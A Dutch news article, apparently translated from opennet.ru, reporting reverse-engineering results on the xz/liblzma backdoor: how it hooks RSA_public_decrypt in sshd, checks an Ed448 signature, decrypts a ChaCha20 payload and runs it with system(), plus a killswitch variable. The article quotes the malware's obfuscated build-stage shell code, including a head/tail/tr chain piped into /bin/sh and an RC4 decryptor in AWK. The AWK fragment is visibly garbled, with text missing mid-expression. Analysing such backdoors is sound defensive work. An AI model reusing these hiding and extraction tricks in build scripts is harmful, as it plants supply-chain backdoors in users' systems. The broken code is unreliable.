De voorlopige resultaten van de reverse engineering van het kwaadaardige objectbestand, ingebed in liblzma als gevolg van een campagne ter bevordering van de backdoor in het xz-pakket, zijn beschikbaar. De backdoor betreft alleen x86_64-systemen op basis van de Linux-kernel en de Glibc C-bibliotheek, waarbij een extra patch op sshd is toegepast die verbindingsmogelijkheden biedt met de libsystemd-bibliotheek ter ondersteuning van het sd_notify-mechanisme. Oorspronkelijk werd aangenomen dat de backdoor het mogelijk maakte om de authenticatie in sshd te omzeilen en toegang te krijgen tot het systeem via SSH. Een diepgaandere analyse wees uit dat dit niet het geval was en dat de backdoor de mogelijkheid biedt om willekeurige code in het systeem uit te voeren, zonder sporen achter te laten in de sshd-logboeken.
Specifiek controleert de functie RSA_public_decrypt die door de backdoor wordt onderschept de handtekening van de host met behulp van een vaste Ed448-sleutel, en als de controle succesvol is, voert deze de door de externe host verstrekte code uit met behulp van de functie system() voordat de privileges van het sshd-proces worden ingetrokken. De gegevens die de uitvoeringscode bevatten, worden gehaald uit de parameter "N" die aan de functie RSA_public_decrypt is doorgegeven (het "n"-veld van de rsa_st-structuur die de door de externe host verstrekte openbare sleutel bevat), worden gecontroleerd op een checksum en worden ontsleuteld met een vooraf gedefinieerde ChaCha20-sleutel voordat de digitale handtekening van Ed448 wordt geverifieerd.
Als indicatie voor het activeren van de backdoor in sshd wordt de standaardmechanisme voor het uitwisselen van host-sleutels gebruikt. De backdoor maakt gebruik van het feit dat OpenSSH-certificaten de openbare sleutel van de persoon die de handtekening heeft gemaakt, bevatten en reageert alleen op de sleutel die door de aanvaller is voorbereid en die overeenkomt met de vooraf gedefinieerde vaste Ed448-sleutel. Als de validatie van de handtekening met behulp van de openbare sleutel mislukt of als de integriteit van de uitvoeringsgegevens niet wordt bevestigd, wordt de controle teruggegeven aan de standaard SSH-functies.
Omdat de privé-sleutel van de aanvaller onbekend is, is het niet mogelijk om een verificatiecode te implementeren die derden zou toestaan om de backdoor te activeren en een scanner van gecompromitteerde hosts in het netwerk te realiseren. Onderzoekers hebben een script opgesteld dat de techniek demonstreert om een openbare sleutel met willekeurige inhoud in het door de SSH-client verzonden OpenSSH-certificaat te substitueren, dat zal worden verwerkt in de door de backdoor onderschepte functie RSA_public_decrypt.
Onderzoekers hebben ook een mechanisme op de lokale systeem gevonden dat de backdoor onschadelijk maakt (killswitch) bij het starten van sshd met de omgevingsvariabele "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" ingesteld.
Daarnaast kan een gedetailleerde analyse van de shell-constructies worden opgemerkt die worden gebruikt voor het verbergen van het proces van het extraheren van het objectbestand met de backdoor en de substitutie ervan in de bibliotheek liblzma. Tijdens het bouwen van het xz-pakket vanuit het script build-to-host.m4, werd er code uitgevoerd die onder de testbestanden het archief bad-3-corrupt_lzma2.xz vond, verving bepaalde symbolen, maakte het een intact archief en extraheerde er een shell-script uit. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir\/ 2>\/dev\/null` … gl_[$1]_config=’sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null’ gl_path_map=’tr "\t \-_" » \t_\-‘
Het verkregen shell-script extraheerde stukje bij beetje een ander shell-script uit de inhoud van het archief good-large_compressed.lzma, waarbij bepaalde sequenties werden overgeslagen met de commando's head en tail, en symbolen werden vervangen met de opdracht tr. ####Hello#### # een paar binaire bytes hier, maar omdat het commentaar is, worden ze genegeerd [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir="..\/..\/$srcdir" fi export i="((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)";(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|\/bin\/sh ####World####
Da het resultaat een vrij complexe en omvangrijke shell-script, die het bestand met de backdoor rechtstreeks uit het archief good-large_compressed.lzma extraheert, het ontsleutelt en in liblzma integreert. Onder andere bevatte het script de implementatie van een pluginmechanisme, waarmee het mogelijk was om aanvullende uitvoerbare componenten te leveren door nieuwe testarchieven te plaatsen, zonder good-large_compressed.lzma en bad-3-corrupt_lzma2.xz te wijzigen, maar door te zoeken op handtekening. In de code was ook een decryptor ingezet op basis van het RC4-algoritme, geïmplementeerd in AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)/\1\n/g» | LC_ALL=C awk ‘BEGIN{FS=«\n»;RS=«\n»;ORS=«»;m=256;for(i=0;i<m;i++){t[sprintf(«x%c»,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[«x» (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Bron: opennet.ru
